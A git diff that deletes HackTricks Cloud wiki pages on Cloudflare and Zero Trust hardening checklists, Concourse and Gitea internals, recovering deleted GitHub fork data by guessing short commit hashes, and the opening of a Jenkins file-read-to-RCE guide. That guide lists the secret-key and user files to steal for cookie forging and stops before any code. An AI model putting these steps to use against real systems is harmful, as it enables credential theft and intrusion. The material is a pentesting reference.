-
-TODO
-
-### SSL/TLS
-
-#### **Overview**
-
-* [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
-* [ ] The **SSL/TLS Recommender** should be enabled
-
-#### Edge Certificates
-
-* [ ] **Always Use HTTPS** should be **enabled**
-* [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
-* [ ] **Minimum TLS Version should be 1.2**
-* [ ] **TLS 1.3 should be enabled**
-* [ ] **Automatic HTTPS Rewrites** should be **enabled**
-* [ ] **Certificate Transparency Monitoring** should be **enabled**
-
-### **Security**
-
-* [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
-  * The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
-* [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
-* [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
-* [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
-* [ ] In the **`Settings`** section:
-  * [ ] Check that the **`Security Level`** is **medium** or greater
-  * [ ] Check that the **`Challenge Passage`** is 1 hour at max
-  * [ ] Check that the **`Browser Integrity Check`** is **enabled**
-  * [ ] Check that the **`Privacy Pass Support`** is **enabled**
-
-#### **CloudFlare DDoS Protection**
-
-* If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
-* In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
-  * If the attack is from a **verified bot**, at least **add a rate limit** to bots.
-  * If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
-  * You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
-  * Check if **Managed rules** could also help to prevent vulnerability exploitations.
-  * In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
-* In DDoS you could **override some rules to make them more restrictive**.
-* **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
-* In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
-* In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
-
-### Access
-
-{% content-ref url="cloudflare-zero-trust-network.md" %}
-[cloudflare-zero-trust-network.md](cloudflare-zero-trust-network.md)
-{% endcontent-ref %}
-
-### Speed
-
-_I couldn't find any option related to security_
-
-### Caching
-
-* [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
-
-### **Workers Routes**
-
-_You should have already checked_ [_cloudflare workers_](./#workers)
-
-### Rules
-
-TODO
-
-### Network
-
-* [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
-* [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
-* [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
-
-### **Traffic**
-
-TODO
-
-### Custom Pages
-
-* [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
-
-### Apps
-
-TODO
-
-### Scrape Shield
-
-* [ ] Check **Email Address Obfuscation** is **enabled**
-* [ ] Check **Server-side Excludes** is **enabled**
-
-### **Zaraz**
-
-TODO
-
-### **Web3**
-
-TODO
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
deleted file mode 100644
index 85b037522..000000000
--- a/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ /dev/null
@@ -1,87 +0,0 @@
-# Cloudflare Zero Trust Network
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
-
-<figure><img src="../../.gitbook/assets/image (206).png" alt=""><figcaption></figcaption></figure>
-
-### Analytics
-
-* [ ] Useful to **get to know the environment**
-
-### **Gateway**
-
-* [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
-  * If used, **policies** could be created to **restrict** the access to malicious sites.
-  * This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
-
-### Access
-
-#### Applications
-
-On each application:
-
-* [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
-  * To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
-* [ ] Check the **available identity providers** and make sure they **aren't too open**
-* [ ] In **`Settings`**:
-  * [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
-  * [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
-  * [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
-
-#### **Access Groups**
-
-* [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
-* [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
-  * Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
-
-#### Service Auth
-
-* [ ] Check that all service tokens **expires in 1 year or less**
-
-#### Tunnels
-
-TODO
-
-### My Team
-
-TODO
-
-### Logs
-
-* [ ] You could search for **unexpected actions** from users
-
-### Settings
-
-* [ ] Check the **plan type**
-* [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
-* [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-ci-cd/concourse-security/README.md b/pentesting-ci-cd/concourse-security/README.md
deleted file mode 100644
index bc438e1de..000000000
--- a/pentesting-ci-cd/concourse-security/README.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# Concourse Security
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
-
-## Concourse Architecture
-
-Learn how the concourse environment is structured in:
-
-{% content-ref url="concourse-architecture.md" %}
-[concourse-architecture.md](concourse-architecture.md)
-{% endcontent-ref %}
-
-## Concourse Lab
-
-Learn how you can run a concourse environment locally to do your own tests in:
-
-{% content-ref url="concourse-lab-creation.md" %}
-[concourse-lab-creation.md](concourse-lab-creation.md)
-{% endcontent-ref %}
-
-## Enumerate & Attack Concourse
-
-Learn how you can enumerate the concourse environment and abuse it in:
-
-{% content-ref url="concourse-enumeration-and-attacks.md" %}
-[concourse-enumeration-and-attacks.md](concourse-enumeration-and-attacks.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-ci-cd/concourse-security/concourse-architecture.md b/pentesting-ci-cd/concourse-security/concourse-architecture.md
deleted file mode 100644
index c2a08a80f..000000000
--- a/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ /dev/null
@@ -1,64 +0,0 @@
-# Concourse Architecture
-
-## Concourse Architecture
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
-
-### Architecture
-
-![](<../../.gitbook/assets/image (187).png>)
-
-#### ATC: web UI & build scheduler
-
-The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
-
-The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
-
-#### TSA: worker registration & forwarding
-
-The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
-
-The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
-
-The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
-
-#### Workers
-
-In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
-
-* **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
-* **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
-
-## References
-
-* [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/pentesting-ci-cd/gitea-security/basic-gitea-information.md
deleted file mode 100644
index b5daaad8e..000000000
--- a/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ /dev/null
@@ -1,131 +0,0 @@
-# Basic Gitea Information
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Structure
-
-The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
-
-Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
-
-A user may also be **part of different teams** with different permissions over different repos.
-
-And finally **repositories may have special protection mechanisms**.
-
-## Permissions
-
-### Organizations
-
-When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
-
-**Org admins** (owners) can select the **visibility** of the organization:
-
-* Public
-* Limited (logged in users only)
-* Private (members only)
-
-**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
-
-When creating a new team, several important settings are selected:
-
-* It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
-* It's also indicated **if members can create new repos** (creator will get admin access to it)
-* The **permissions** the **members** of the repo will **have**:
-  * **Administrator** access
-  * **Specific** access:
-
-![](<../../.gitbook/assets/image (118).png>)
-
-### Teams & Users
-
-In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
-
-* Administrator
-* Write
-* Read
-
-## Gitea Authentication
-
-### Web Access
-
-Using **username + password** and potentially (and recommended) a 2FA.
-
-### **SSH Keys**
-
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
-
-#### **GPG Keys**
-
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
-
-### **Personal Access Tokens**
-
-You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
-
-### Oauth Applications
-
-Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
-
-![](<../../.gitbook/assets/image (194).png>)
-
-### Deploy keys
-
-Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
-
-## Branch Protections
-
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
-
-The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
-
-{% hint style="info" %}
-It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
-{% endhint %}
-
-Different protections can be applied to a branch (like to master):
-
-* **Disable Push**: No-one can push to this branch
-* **Enable Push**: Anyone with access can push, but not force push.
-* **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
-* **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
-* **Enable Status checks:** Require status checks to pass before merging.
-* **Require approvals**: Indicate the number of approvals required before a PR can be merged.
-* **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
-* **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
-* **Block merge on official review requests**: If there official review requests it cannot be merged
-* **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
-* **Require Signed Commits**: Commits must be signed.
-* **Block merge if pull request is outdated**
-* **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
-
-{% hint style="info" %}
-As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
-{% endhint %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
deleted file mode 100644
index 392386866..000000000
--- a/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ /dev/null
@@ -1,85 +0,0 @@
-# Accessible Deleted Data in Github
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
-
-## Accessing Deleted Fork Data
-
-1. You fork a public repository
-2. You commit code to your fork
-3. You delete your fork
-
-{% hint style="danger" %}
-The data commited in the deleted fork is still accessible.
-{% endhint %}
-
-## Accessing Deleted Repo Data
-
-1. You have a public repo on GitHub.
-2. A user forks your repo.
-3. You commit data after they fork it (and they never sync their fork with your updates).
-4. You delete the entire repo.
-
-{% hint style="danger" %}
-Even if you deleted your repo, all the changes made to it are still accessible through the forks.
-{% endhint %}
-
-## Accessing Private Repo Data
-
-1. You create a private repo that will eventually be made public.
-2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
-3. You make your “upstream” repository public and keep your fork private.
-
-{% hint style="danger" %}
-It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
-{% endhint %}
-
-## How to discover commits from deleted/hidden forks
-
-The same blog post propose 2 options:
-
-### Directly accessing the commit
-
-If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
-
-### Brute-forcing short SHA-1 values
-
-It's the same to access both of these:
-
-* [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
-* [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
-
-And the latest one use a short sha-1 that is bruteforceable.
-
-## References
-
-* [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
deleted file mode 100644
index 06ae83621..000000000
--- a/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ /dev/null
@@ -1,135 +0,0 @@
-# Jenkins Arbitrary File Read to RCE via "Remember Me"
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
-
-This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
-
-### Attack Prerequisites
-
-* **Feature Requirement:** "Remember me" must be enabled (default setting).
-* **Access Levels:** Attacker needs Overall/Read permissions.
-* **Secret Access:** Ability to read both binary and textual content from key files.
-
-### Detailed Exploitation Process
-
-#### Step 1: Data Collection
-
-**User Information Retrieval**
-
-* Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
-  * **Username**
-  * **User seed**
-  * **Timestamp**
-  * **Password hash**
-
-**Secret Key Extraction**
-
-* Extract cryptographic keys used for signing the cookie:
-  * **Secret Key:** `$JENKINS_HOME/secret.key`
-  * **Master Key:** `$JENKINS_HOME/secrets/master.key`
-  * **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
-
-#### Step 2: Cookie Forging
-
-**Token Preparation**
-
-*   **Calculate Token Expiry Time:**
-
-    {% code overflow="wrap" %}
-    ```javascript
